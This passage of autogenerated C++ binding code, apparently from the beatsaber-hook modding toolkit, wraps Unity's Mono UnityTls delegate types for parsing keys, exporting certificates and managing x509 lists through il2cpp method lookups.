::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(password), ::il2cpp_utils::ExtractType(passwordLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key*, false>(this, ___internal__method, buffer, bufferLen, password, passwordLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::BeginInvoke(uint8_t* buffer, ::System::IntPtr bufferLen, uint8_t* password, ::System::IntPtr passwordLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(password), ::il2cpp_utils::ExtractType(passwordLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, buffer, bufferLen, password, passwordLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_parse_pem_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_key* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_parse_pem_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_key*, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_key_free_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::Invoke(::Mono::Unity::UnityTls::unitytls_key* key) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, key); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_key* key, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, key, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_key_free_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_key_free_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509_export_der_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509_ref #include "Mono/Unity/UnityTls_unitytls_x509_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t.Invoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509_ref cert, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, cert, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509_ref cert, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, cert, buffer, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509_export_der_t.EndInvoke ::System::IntPtr Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509_export_der_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_get_ref_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509list_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list* list, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509list_ref, false>(this, ___internal__method, list, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list* list, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, list, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_ref_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509list_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_ref_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509list_ref, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_get_x509_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509_ref #include "Mono/Unity/UnityTls_unitytls_x509_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list_ref list, ::System::IntPtr index, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(index), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509_ref, false>(this, ___internal__method, list, index, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list_ref list, ::System::IntPtr index, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(index), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, list, index, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_get_x509_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509_ref Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_get_x509_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509_ref, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_create_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509list* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::Invoke(::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509list*, false>(this, ___internal__method, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_create_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509list* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_create_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509list*, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_append_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509_ref #include "Mono/Unity/UnityTls_unitytls_x509_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list* list, ::Mono::Unity::UnityTls::unitytls_x509_ref cert, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, list, cert, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list* list, ::Mono::Unity::UnityTls::unitytls_x509_ref cert, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(cert), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, list, cert, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_append_der_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list* list, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, list, buffer, bufferLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list* list, uint8_t* buffer, ::System::IntPtr bufferLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(buffer), ::il2cpp_utils::ExtractType(bufferLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, list, buffer, bufferLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_append_der_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_append_der_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509list_free_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list* list) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, list); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list* list, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(list), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, list, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509list_free_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509list_free_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509verify_default_ca_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: 